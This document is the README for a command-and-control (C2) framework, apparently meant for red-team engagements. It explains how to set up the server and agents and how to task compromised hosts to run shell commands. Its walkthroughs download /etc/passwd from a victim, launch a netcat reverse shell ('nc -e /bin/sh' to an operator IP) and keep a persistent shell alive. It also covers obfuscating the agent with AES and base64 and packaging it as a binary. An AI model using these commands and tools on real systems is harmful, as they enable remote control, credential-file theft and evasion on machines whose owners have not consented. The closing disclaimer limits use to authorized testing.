Linux for the admin.py and c2_server.py. (Untested for windows)apt install libcurl4-openssl-dev libb64-devapt install opensslpip3 install -r requirements.txt

# if you want to secure your key with a passphrase exclude the -nodesopenssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes

python3 admin.py

python3 c2_server.py

# python agentpython3 agent.py# C agentgcc agent.c -o agent -lcurl -lb64./agent

Commands:  task add arg c2-commands    Add a task to an agent, to a group or on all agents.    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid'     c2-commands: possible values are c2-register c2-shell c2-sleep c2-quit      c2-register: Triggers the agent to register again.      c2-shell cmd: It takes an shell command for the agent to execute. eg. c2-shell whoami         cmd: The command to execute.      c2-sleep: Configure the interval that an agent will check for tasks.      c2-session port: Instructs the agent to open a shell session with the server to this port.         port: The port to connect to. If it is not provided it defaults to 5555.      c2-quit: Forces an agent to quit.  task delete arg    Delete a task from an agent or all agents.    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid'   show agent arg    Displays inf   o for all the availiable agents or for specific agent.    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid'   show task arg    Displays the task of an agent or all agents.    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid'   show result arg    Displays the history/result of an agent or all agents.    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid'   find active agents    Drops the database so that the active agents will be registered again.  exit    Bye Bye!Sessions:  sessions server arg [port]    Controls a session handler.    arg: can have the following values: 'start' , 'stop' 'status'     port: port is optional for the start arg and if it is not provided it defaults to 5555. This argument defines the port of the sessions server  sessions select arg    Select in which session to attach.       arg: the index from the 'sessions list' result   sessions close arg    Close a session.    arg: the index from the 'sessions list' result   sessions list    Displays the availiable sessions  local-ls directory    Lists on your host the files on the selected directory   download 'file'    Downloads the 'file' locally on the current directory   upload 'file'    Uploads a file in the directory where the agent currently is 

# show all availiable agentsshow agent all

# check the results of a specific agentshow result 85913eb1245d40eb96cf53eaf0b1e241

You can also change the interval of the agents that checks for tasks to 30 seconds like this:

# to set it for all agentstask add all c2-sleep 30

To open a session with one or more of your agents do the following.

# find the agent/uuidshow agent all# enable the server to accept connectionssessions server start 5555# add a task for a session to your prefered agenttask add your_prefered_agent_uuid_here c2-session 5555# display a list of available connectionssessions list# select to attach to one of the sessions, lets select 0sessions select 0# run a commandid# download the passwd file locallydownload /etc/passwd# list your files locally to check that passwd was createdlocal-ls# upload a file (test.txt) in the directory where the agent isupload test.txt# return to the main cligo back# check if the server is runningsessions server status# stop the sessions serversessions server stop

If for some reason you want to run another external session like with netcat or metaspolit do the following.

# show all availiable agentsshow agent all# first open a netcat on your machinenc -vnlp 4444# add a task to open a reverse shell for a specific agenttask add 85913eb1245d40eb96cf53eaf0b1e241 c2-shell nc -e /bin/sh 192.168.1.3 4444

This way you will have a 'die hard' shell that even if you get disconnected it will get back up immediately. Only the interactive commands will make it die permanently.

Obfuscation

The python Agent offers obfuscation using a basic AES ECB encryption and base64 encoding

Edit the obfuscator.py file and change the 'key' value to a 16 char length key in order to create a custom payload. The output of the new agent can be found in Agents/obs_agent.py

You can run it like this:

python3 obfuscator.py# and to run the agent, do as usualpython3 obs_agent.py

Tips &Tricks

1. The build-in flask app server can't handle multiple/concurrent requests. So, you can use the gunicorn server for better performance like this:

gunicorn -w 4 "c2_server:create_app()" --access-logfile=- -b 0.0.0.0:5000 --certfile server.crt --keyfile server.key 

2. Create a binary file for your python agent like this

pip install pyinstallerpyinstaller --onefile agent.py

The binary can be found under the dist directory.

In case something fails you may need to update your python and pip libs. If it continues failing then ..well.. life happened

3. Create new certs in each engagement

4. Backup your c2.db, it is easy... just a file

Testing

pytest was used for the testing. You can run the tests like this:

cd tests/py.test

Be careful: You must run the tests inside the tests directory otherwise your c2.db will be overwritten and you will lose your data

To check the code coverage and produce a nice html report you can use this:

# pip3 install pytest-covpython -m pytest --cov=Commander --cov-report html

Disclaimer: This tool is only intended to be a proof of concept demonstration tool for authorized security testing. Running this tool against hosts that you do not have explicit permission to test is illegal. You are responsible for any trouble you may cause by using this tool.